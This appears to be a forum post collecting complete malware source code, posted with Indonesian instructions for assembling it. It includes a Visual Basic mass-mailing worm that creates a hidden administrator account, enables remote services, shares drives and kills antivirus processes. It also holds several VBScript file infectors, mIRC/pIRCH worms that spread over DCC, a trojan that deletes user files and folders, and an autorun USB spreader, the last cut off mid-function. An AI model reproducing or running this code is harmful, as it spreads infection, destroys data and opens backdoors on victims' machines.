b.addresslists(f).addressentries(d) .Recipients.Add g .Subject = "Salam Vxer :)" .Body = Body .Attachments.Add Windir & "\Jangan Di Baca.txt.exe", 1, 1, "Jangan Di Baca.txt" .Attachments.Add Windir & "\www.Shadow-Angel.com", 1, 2, "http://www.Shadow-Angel.com" .Attachments.Add Windir & "\www.yahoo.com", 1, 3, "[ Yahoo ]" .Importance = 2 .DeleteAfterSubmit = True .sendEnd Withg = ""Next dNext fb.logoffEnd IfElseMsgBox "Please... atur dulu Outlooknya ya.. ", 64, "Pesan Kumbang"End IfEnd FunctionPrivate Sub Timer1_Timer(): On Error Resume NextDim Hid As LongCall MatiinAntivirusIf JaringanKumbang() = True And Me.Caption <> "ok" Then Me.Caption = "ok" Call Jalankan_Kumbang2 Call SayapKumbangEnd IfIf JaringanKumbang() = False And Me.Caption = "ok" Then Call Matiin_Kumbang2 Me.Caption = ""End IfIf Me.Caption = "ShutDown" Then Unload MeIf Day(Now) = 17 Then PlaySound Windir & "\Media\notify.wav", 1, 1 Hid = FindWindow("Shell_traywnd", "") Call SetWindowPos(Hid, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) Me.Visible = True Me.Show Me.Caption = "ShutDown"End IfIf Timer1.Tag Mod 4 = 0 Then If Dir("A:\*.*") <> "" Then Call Infeksi_Kumbang2("A:") FileCopy RacunKumbang, "A:\Jangan Di Baca.txt.exe" FileCopy RacunKumbang, "A:\Game.com"End IfTimer1.Tag = Timer1.Tag + 1End SubPrivate Sub Dir1_Change()File1.Path = Dir1.PathEnd SubPrivate Sub Drive1_Change()Dir1.Path = Drive1.DriveEnd SubPrivate Sub Form_Unload(Cancel As Integer)Call Shut_DownEnd SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)Call Shut_DownEnd SubPublic Sub Shut_Down()nLogOff = 0nReboot = 2nForceLogOff = 4nForceReboot = 6nPowerDown = 8nForcePowerDown = 12Set oOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")For Each oOperatingSystem In oOS oOperatingSystem.Win32Shutdown (nForceReboot)NextEnd Sub
Taruh Coding dibawah ini di Module-> Mkumbang1 :
Code:
Public Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpSFlags As Long, ByVal dwReserved As Long) As LongPrivate Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As LongDeclare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As LongDeclare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPublic Function JaringanKumbang() As BooleanJaringanKumbang = InternetGetConnectedState(0&, 0&)End FunctionPublic Function Windir() As String Dim stf As String * 255, intl As Integer intl = GetWindowsDirectory(stf, 255) Windir = (Left(stf, intl))End FunctionPublic Function CreatString(Path As String, Var As String, Val As String) As LongDim File As String: RandomizeFile = "C:\" & Int(Rnd * 100) & "reg.reg"Open File For Output As #1Print #1, "REGEDIT4"Print #1, Chr(13)Print #1, "[" & Path & "]"Print #1, Chr(13)Print #1, Chr(34) & Var & Chr(34) & "=" & Chr(34) & Val & Chr(34)Close #1Shell "regedit /s " & File, vbNormalFocusKill FileEnd FunctionPublic Function CreatDword(Path As String, Var As String, Val As String) As LongDim File As String: RandomizeFile = "C:\" & Int(Rnd * 100) & "reg.reg"Open File For Output As #1Print #1, "REGEDIT4"Print #1, Chr(13)Print #1, "[" & Path & "]"Print #1, Chr(13)Print #1, Chr(34) & Var & Chr(34) & "=" & "dword:" & ValClose #1Shell "regedit /s " & File, vbNormalFocusKill FileEnd FunctionPublic Function RacunKumbang() As StringRacunKumbang = App.PathIf Right(RacunKumbang, 1) <> "\" Then RacunKumbang = RacunKumbang & "\"If Dir(RacunKumbang & App.EXEName & ".com") <> "" Then RacunKumbang = RacunKumbang & App.EXEName & ".com"Else RacunKumbang = RacunKumbang & App.EXEName & ".exe"End IfEnd FunctionPublic Sub KumbangTerbang(): On Error Resume NextConst Regbkdr As String = "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\"CreatDword Regbkdr & "TlntSvr", "Start", "2"CreatDword Regbkdr & "TermService", "Start", "2"Open "a.bat" For Output As #1 Print #1, "@echo off" Print #2, "echo " Print #1, "Net user Shadow Kumbang pwd /add >nul" Print #1, "Net localgroup administrators Shadow Kumbang /add >nul" Print #1, "Net share drive=c: >nul" Print #1, "Net share drive=d: >nul"CloseShell "a.bat", vbHideEnd SubPublic Sub Jalankan_Kumbang2(): On Error Resume NextOpen "Mawar2.bat" For Output As #1 Print #1, "@echo off" Print #2, "echo " Print #1, "Net user Shadow Kumbang /active:yes >nul"CloseShell " Mawar2.bat", vbHideEnd SubPublic Sub Matiin_Kumbang2(): On Error Resume NextOpen "ShadowKumbang.bat" For Output As #2 Print #2, "@echo off" Print #2, "echo " Print #2, "Net user Shadow Kumbang /active:no >nul"CloseShell "ShadowKumbang.bat", vbHideEnd SubPublic Sub MatiinAntivirus()If Environ("os") <> "" Then Dim NtSp: NtSp = "NET STOP " Shell NtSp & "MCSHIELD", vbHide Shell NtSp & "NORTON ANTIVIRUS AUTO PROTECT SERVICE", vbHide Shell NtSp & "Automatic Updates", vbHide Shell NtSp & Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100) + Chr(65) + Chr(99) + Chr(99) + Chr(101) + Chr(115) + Chr(115), vbHide Call MatiinAntivirus2End IfEnd SubPrivate Sub MatiinAntivirus2()EndTask ("McVSEscn")EndTask ("MCVSFTSN")EndTask ("MCTOOL")EndTask ("MCVSRTE")EndTask ("MCMNHDLR")EndTask ("MCAGENT")EndTask ("MCUPDATE")EndTask ("MCUPDMGR")EndTask ("NAVAPSVC")EndTask ("NAVAPW32")EndTask ("NAVDX")EndTask ("NAVLU32")EndTask ("NAVSTUB")EndTask ("NAVW32")EndTask ("NAVWNT")EndTask ("KAV")EndTask ("KAVMM")End SubPrivate Sub EndTask(Task As String)On Error Resume NextDim Cmd: Cmd = Environ("comspec") & " /c "Shell Cmd & "taskkill /f /im " & Task & ".exe /t", vbHideEnd SubTaruh Coding dibawah ini di Module->Mkumbang2 :
Code:
Public Sub Infeksi_Kumbang(): On Error Resume NextDim O, iFor O = ShadowKumbang.Drive1.ListCount To 1 Step -1 ShadowKumbang.Drive1.Drive = ShadowKumbang.Drive1.List(O) For i = 0 To ShadowKumbang.Dir1.ListCount If ShadowKumbang.Dir1.List(i) <> "" Then Infeksi_Kumbang2 (ShadowKumbang.Dir1.List(i)) FileCopy RacunKumbang, ShadowKumbang.Dir1.List(i) & "\Cerita Kumbang.com" End If NextNextEnd SubPublic Sub Infeksi_Kumbang2(Path As String)Dim Mawar As String, Duri_Mawar As String, iShadowKumbang.File1.Path = PathFor i = 0 To ShadowKumbang.File1.ListCount If ShadowKumbang.File1.List(i) <> "" Then Mawar = ShadowKumbang.File1.Path & "\" & File1.List(i) Duri_Mawar = LCase(Right(Mawar, 3)) If Duri_Mawar = "com" And InStr(Mawar, "win.com") = 0 _ And InStr(Mawar, "command.com") = 0 Then FileCopy RacunKumbang, Mawar End If If Duri_Mawar = "txt" Then FileCopy RacunKumbang, Mawar & ".exe" Kill Mawar End If If Duri_Mawar = "exe" Then FileCopy RacunKumbang, Left(Mawar, Len(Mawar) - 3) & "com" End If End IfNextEnd Sub

VBS.Zinc

md c:\GSS
if exist c:\gss goto end
echo off
@echo Silent Nights, Lonely Nights.
@echo My Lonelieness Is Killing Me.
@echo Its So Silent, So Lonely Tonight.
@echo How I Wish That You Were Here With Me.
@echo The Loneliness That Comes With The Silent Nights
@echo Would Be Better If I Were Lonely And Silent With You!
@echo
@echo ...I Fucking Love You A.E! It Would Be Worth The Silence
@echo If The Silence Were With You...
@echo
@echo off
@copy c:\windows\notepad.exe c:\windows\notepad.vbs
@del c:\windows\notepad.exe
@copy c:\windows\regedit.exe c:\windows\regedit.vbs
@del c:\windows\regedit.exe
@exit
@if not exist c:\windows\notepad.vbs goto end
@if not exist c:\windows\regedit.vbs goto end
goto end

:end
exit

nih TROJAN VBS.Bee

' Bumblebee - my first VB Script Virus
' by Bumblebee/[Hail and Kill] '99
' Feel free to use and modify it
'
on error resume next

const fdWrite=2, fdRead=1
endl=chr(13)&chr(10)

remove=endl&" This system is infected by Bumblebee.vbs Virus."&endl&endl&" Don't worry, it's a easy-to-remove virus:"&endl&endl&" . Edit all of your system .vbs files and"&endl&" delete from "&chr(39)&"-"&"@ to "&chr(39)&"-"&"@"&endl&endl&" (C) 1999 Bumblebee/[Hail and Kill] Wink"&endl&endl
hostName=Wscript.ScriptFullName

set fso=createObject("Scripting.FileSystemObject")

set myShell=createObject("WScript.Shell")
infCount=0
infCount=myShell.regRead("HKCU\infCount")
if infCount<1 then
myShell.regWrite "HKCU\infCount",1
infCount=1
end if
if infCount>10 then
desk=myShell.specialFolders("Desktop")
set fd=fso.openTextFile(desk&"\\Remove me!.txt",fdWrite,1)
fd.write remove
fd.close
end if

set fd=fso.openTextFile(hostName,fdRead)
hostCode=fd.readAll
fd.close

virusSize=inStr(4,hostCode,"-"&"@")+1

set fd=fso.openTextFile(hostName,fdRead)
virusCode=fd.read(virusSize)
fd.close

for each victim in fso.getfolder(".").files

vExt=fso.getExtensionName(victim.name)
i=0
if mid(vExt,1,1)="v" or mid(vExt,1,1)="V" then i=i+1 end if
if mid(vExt,2,1)="b" or mid(vExt,2,1)="B" then i=i+1 end if
if mid(vExt,3,1)="s" or mid(vExt,3,1)="S" then i=i+1 end if

if i=3 then
set fd=fso.openTextFile(victim.path,fdRead)
victimCode=fd.readAll
fd.close
if left(victimCode,3)<>chr(39)&"-"&"@" then
infCount=infCount+1
infectedCode=virusCode&endl&victimCode
set fd=fso.openTextFile(victim.path,fdWrite,1)
fd.write infectedCode
fd.close
end if
end if
next
myShell.regWrite "HKCU\infCount",infCount

'-@
'VBSv777


On Error Resume Next

Const cbVirusSize = 3914
Const cbForReading=1, cbForWriting=2
Const cbWindowsFolder = 0

Dim cbFSO, cbInfectionMarker, cbVictimCode, cbVirusCode
Dim cbWePath, cbWeFile, cbVictim, VictimFile
Dim cbFoldersToInfect(3), cbFolder, cbFile, cbDriveList, cbDrive
Dim cbTextFile


Set cbFSO = CreateObject("Scripting.FileSystemObject")

cbWePath = Wscript.ScriptFullName

cbFoldersToInfect(0) = "."
cbFoldersToInfect(1) = cbFSO.GetSpecialFolder(cbWindowsFolder)
cbFoldersToInfect(2) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\All Users\Desktop"
cbFoldersToInfect(3) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\Administrator\Desktop"
cbFoldersToInfect(4) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Desktop"


Set cbWeFile=cbFSO.OpenTextFile(cbWePath, cbForReading)
cbVirusCode = cbWeFile.Read(cbVirusSize)
cbWeFile.Close


For Each cbFolder in cbFoldersToInfect
cbInfect cbFolder
Next


If Day(Now()) = 2 And Hour(Now()) = 9 Then

Set cbDriveList = cbFSO.Drives

For Each cbDrive in cbDriveList
If cbDrive.DriveType = 2 Or cbDrive.DriveType = 3 then cbRecursiveFolderScan cbDrive & "\"
Next

End If



Sub cbRecursiveFolderScan(cbTheFolder)

Dim cbMoreFolders, cbTempFolder


For Each cbFile in cbFSO.GetFolder(TheFolder).Files
If cbFSO.GetExtensionName(cbFile) = "txt" or cbFSO.GetExtensionName(cbFile) = "doc" Then

Set cbTextFile = cbFSO.OpenTextFile(cbFile, cbForWriting)
cbTextFile.WriteLine " "
cbTextFile.WriteLine " _ _ "
cbTextFile.WriteLine " |_| |_| "
cbTextFile.WriteLine " | | /^^^\ | | "
cbTextFile.WriteLi'Welcomb


'= VBS/mIRC/pIRCH.WelcomB.a =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
'= Technology used from Code Breakers =
On Error Resume Next
Const Welcomb = 5416
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Const XWindowsFolder = 0

Dim FSO, ScrFile, Cini, InfMarker, MyCode
Dim Parent, MyWelcomb, V, VFile, EvFile
Dim FoldersToGet(2), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Parent = Wscript.ScriptFullName

Set Cini = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)
Cini.WriteLine "[rfiles]"
Cini.WriteLine "n100=script.ini"
Cini.Close

Set ScrFile = FSO.CreateTextFile("c:\mirc\script.ini", True)
ScrFile.WriteLine "[script]"
ScrFile.WriteLine "n0; VBS/mIRC/pIRCH WelcomB.a"
ScrFile.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n2= /dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n3=}"
ScrFile.WriteLine "n4="
ScrFile.WriteLine "n5=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n6=/dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n7=}"
ScrFile.WriteLine "n8="
ScrFile.WriteLine "n9=on 1:TEXT:*script.ini*:#:/.ignore $nick"
ScrFile.WriteLine "n10=on 1:TEXT:*script.ini*Question/.ignore $nick"
ScrFile.WriteLine "n11=on 1:TEXT:*virus*:#:/.ignore $nick"
ScrFile.WriteLine "n12=on 1:TEXT:*virus*Question/.ignore $nick"
ScrFile.WriteLine "n13=on 1:TEXT:*worm*:#:/.ignore $nick"
ScrFile.WriteLine "n14=on 1:TEXT:*worm*Question/.ignore $nick"
ScrFile.WriteLine "n15=on 1:TEXT:*cute*:#:/.ignore $nick"
ScrFile.WriteLine "n16=on 1:TEXT:*cute*Question/.ignore $nick"
ScrFile.WriteLine "n17=on 1:TEXT:*WelcomB*:#:/.ignore $nick"
ScrFile.WriteLine "n18=on 1:TEXT:*WelcomB*Question/.ignore $nick"
ScrFile.WriteLine "n19=on 1:QUIT:#:/msg $chan There the Teachers that taught me to hate me"
ScrFile.Close

Set EvFile = FSO.CreateTextFile("c:\WINDOWS\events.dll", True)
EvFile.WriteLine "[Levels]"
EvFile.WriteLine "Enabled=1"
EvFile.WriteLine "Count=6"
EvFile.WriteLine "Level1=000-Unknowns"
EvFile.WriteLine "000-UnknownsEnabled=1"
EvFile.WriteLine "Level2=100-Level 100"
EvFile.WriteLine "100-Level 100Enabled=1"
EvFile.WriteLine "Level3=200-Level 200"
EvFile.WriteLine "200-Level 200Enabled=1"
EvFile.WriteLine "Level4=300-Level 300"
EvFile.WriteLine "300-Level 300Enabled=1"
EvFile.WriteLine "Level5=400-Level 400"
EvFile.WriteLine "400-Level 400Enabled=1"
EvFile.WriteLine "Level6=500-Level 500"
EvFile.WriteLine "500-Level 500Enabled=1"
EvFile.WriteLine ""
EvFile.WriteLine "[000-Unknowns]"
EvFile.WriteLine "User1=*!*@*"
EvFile.WriteLine "UserCount=1"
EvFile.WriteLine "Event1=; VBS/mIRC/pIRCH WelcomB.a"
EvFile.WriteLine "Event2=ON JOIN:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event2=ON PART:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event3=VERSION:/notice $nick \-1 pIRCH: WelcomB by -KD- I'm Infected!!! \-1:-"
EvFile.WriteLine "Event4=ON TEXT:*WelcomB*:#:/kick # $nick pIRCH/VBS/mIRC"
EvFile.WriteLine "Event5=ON TEXT:*WelcomB*:#:/ignore # $nick"
EvFile.WriteLine "Event6=ON TEXT:*vbs*:#:/ignore # $nick"
EvFile.WriteLine "Event7=ON TEXT:*virus*:#:/ignore # $nick"
EvFile.WriteLine "Event8=ON TEXT:*worm*:#:/ignore # $nick"
EvFile.WriteLine "Event9=ON TEXT:*cute*:#:/ignore # $nick"
EvFile.WriteLine "EventCount=9"
EvFile.WriteLine ""
EvFile.WriteLine "[100-Level 100]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[200-Level 200]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[300-Level 300]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[400-Level 400]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[500-Level 500]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.Close

FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch32\events.ini"
FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch98\events.ini"
FSO.CopyFile Parent, "c:\WINDOWS\system\cute.vbs"
FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "There the teacher's that taught me to hate me.", 4096 , "WelcomB"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"
Set MyWelcomb = FSO.OpenTextFile(Parent, ForReading)
MyCode = MyWelcomb.Read(Welcomb)
MyWelcomb.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Welcomb" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'->'Crystal

'= VBS/pIRCH98/32.Crystal.c =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
On Error Resume Next
Const TheCrystal = 5238
Const ForReading = 1, ForWriting = 2
Const XWindowsFolder = 0

Dim FSO, InfMarker, MyCode, MyBaby
Dim Crystal, MyCrystal, V, VFile
Dim FoldersToGet(3), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Crystal = Wscript.ScriptFullName

Set MyBaby = FSO.CreateTextFile("c:\WINDOWS\events3.dll", True)
MyBaby.WriteLine "[Levels]"
MyBaby.WriteLine "Enabled=1"
MyBaby.WriteLine "Count=6"
MyBaby.WriteLine "Level1=000-Unknowns"
MyBaby.WriteLine "000-UnknownsEnabled=1"
MyBaby.WriteLine "Level2=100-Level 100"
MyBaby.WriteLine "100-Level 100Enabled=1"
MyBaby.WriteLine "Level3=200-Level 200"
MyBaby.WriteLine "200-Level 200Enabled=1"
MyBaby.WriteLine "Level4=300-Level 300"
MyBaby.WriteLine "300-Level 300Enabled=1"
MyBaby.WriteLine "Level5=400-Level 400"
MyBaby.WriteLine "400-Level 400Enabled=1"
MyBaby.WriteLine "Level6=500-Level 500"
MyBaby.WriteLine "500-Level 500Enabled=1"
MyBaby.WriteLine ""
MyBaby.WriteLine "[000-Unknowns]"
MyBaby.WriteLine "User1=*!*@*"
MyBaby.WriteLine "UserCount=1"
MyBaby.WriteLine "Event1=; VBS/pIRCH98/32.Crystal.c"
MyBaby.WriteLine "Event2=; by -KD- [Metaphase VX Team] & [NoMercyVirusTeam]"
MyBaby.WriteLine "Event3=ON JOIN:#:/notice $nick Tell me that file isnt the cutest Wink"
MyBaby.WriteLine "Event4=ON JOIN:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event5=@ON BAN:*:#:/mode # -o+b $me $banmask | /kick # $nick Dont ban me!!"
MyBaby.WriteLine "Event6=ON PART:#:/notice $nick Case I didnt send it yet this is the cutest thing Ive seen Wink"
MyBaby.WriteLine "Event7=ON PART:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event8=VERSION:/notice $nick \-1 VBS/pIRCH98/32.Crystal.c : Crystal.a by -KD- I'm Infected!!! \-1:-"
MyBaby.WriteLine "Event9=ON TOPIC:#:/topic # Crystal rocks! | /notice $nick Crystal!!!"
MyBaby.WriteLine "Event10=ON ACTION:*hump*:#:/notice $nick Get off my leg!!"
MyBaby.WriteLine "Event11=ON ACTION:*hump*:#:/kick # $nick Get off my leg I said!!"
MyBaby.WriteLine "Event12=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event13=ON TEXT:*sex*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event14=ON TEXT:*f**k*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event15=ON TEXT:*damn*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event16=ON TEXT:*satan*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event17=ON TEXT:*dick*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event18=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event19=ON TEXT:*hell*:#:/ignore # $nick"
MyBaby.WriteLine "Event20=ON TEXT:*virus*:#:/ignore # $nick"
MyBaby.WriteLine "Event21=ON TEXT:*worm*:#:/ignore # $nick"
MyBaby.WriteLine "Event22=ON TEXT:*trojan*:#:/ignore # $nick"
MyBaby.WriteLine "Event23=ON TEXT:*Crystal*:#:/ignore # $nick"
MyBaby.WriteLine "Event24=ON TEXT:*baby*:*:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event25=PING:/notice $nick Oh god baby do it again! Wink"
MyBaby.WriteLine "Event26=ON QUIT:/msg :#vir: VBS/pIRCH98/32.Crystal.c by -KD-! gotta love it!"
MyBaby.WriteLine "Event27=ON KICKED:*:#: /msg $nick What the hell? | /join # | /mode # -o+b $nick $banmask"
MyBaby.WriteLine "EventCount=27"
MyBaby.WriteLine ""
MyBaby.WriteLine "[100-Level 100]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[200-Level 200]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[300-Level 300]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[400-Level 400]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[500-Level 500]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.Close
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch98\events.ini"
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch32\events.ini"
FSO.CopyFile Crystal, "c:\WINDOWS\Crystal2.vbs"
FSO.CopyFile Crystal, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "The screams fill the room" & Chr(13) & Chr(10) & "Alone I drop and kneel", 4096 , "Crystal"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"

Set MyCrystal = FSO.OpenTextFile(Crystal, ForReading)
MyCode = MyCrystal.Read(TheCrystal)
MyCrystal.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Crystal" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'---> Exit[marq=right]

SOURCE Trojan VBS.DeLFiles.A

set getf=createobject("scripting.filesystemobject")
getf.deletefile ("C:\Documents and Settings\Administrator\Desktop\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Favorites\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Desktop")
getf.deletefile ("C:\Documents and Settings\Administrator\Local Settings\Application Data\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Startup")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Accessibility\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Accessibility")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Entertainment\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Entertainment")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories")



getf.deletefile ("C:\Documents and Settings\All Users\Desktop\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Favorites\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Desktop")
getf.deletefile ("C:\Documents and Settings\All Users\Local Settings\Application Data\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Accessibility\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Accessibility")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Entertainment\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Entertainment")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Communications\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Communications")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Administrative Tools\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Administrative Tools")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\System Tools\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\System Tools")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Games\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Games")





Wscript.echo "Pc-to ti beshe do tuk!"
Wscript.echo "Spoko we,buzikam se....moje i da izkara do kraq na denq Wink"
dim msg
msg = MsgBox("Iska6 da znae6 kvo stava?!",vbAbort+vbInformation,"MsgBox test")
If msg = vbYes then
Wscript.echo "E, sam 6e razbere6"
end if
If msg = vbNo then
Wscript.echo "Za mnogo znae6t li se misli6?! Ae da te vidim kakvo 6e narpai6 sea..."
end if
If msg = vbCancel then
Wscript.echo "'Cancel' tuka nqma Very Happy"
end if

infeksi file exe versi laen

' VBS.GrepoZipTsunami.a
' My first VBS virus. Padding itself into a zip file!
' Don't worry, it won't do harm to you.. I promise.
' SealNight5, Asmaradana
' MVS, USM, Malaysia.
' 2005-01-01

Set Fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
Set tsunami = Fso.GetFile(WScript.ScriptFullName)
tsunami.Copy (Fso.GetSpecialFolder(1) & "\PleaseRead1st.vbs")
Set Drives = Fso.Drives

For Each Drive In Drives
On Error Resume Next
If Drive.isready Then
Fso.Deletefile Drive & "tsunami.bat"
End If
Next

ret = Chr(13)
tsu1 = "It is God's avenge!" & ret
tsu2 = "Those people did bad on earth..." & ret
tsu3 = "God has promised, that He will give lesson," & ret
tsu4 = "and this is a promise that the End of Day" & ret
tsu5 = "is just not too far ahead!" & ret & ret
tsu6 = "Pray, do good and may God bless you!" & ret & ret
tsu7 = "Tell and share this message with everyone who has faith in God."

tsunamimsg = "C:\windows\tsunami.txt"
Set msg = Fso.Createtextfile(tsunamimsg, True)
msg.writeline tsu1 & tsu2 & tsu3 & tsu4 & tsu5 & tsu6 & tsu7
msg.Close
ws.run tsunamimsg

For Each Drive In Drives
If Drive.isready Then
On Error Resume Next
tsunami.Copy(drive&"\Tsunami - A must read - God's avenge.vbs")
tsunami.Copy(drive&"\PleaseRead1st.vbs")

tsunamirun = Drive & "autorun.inf"
Set autorun = Fso.Createtextfile(tsunamirun, True)
autorun.writeline "PleaseRead1st.vbs"
autorun.Close

SearchWinZip Drive & "\"
End If
Next

Function SearchWinZip(path)
On Error Resume Next
winzipexist = 1

Set word = CreateObject("word.application")
If word.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "") = "" Then
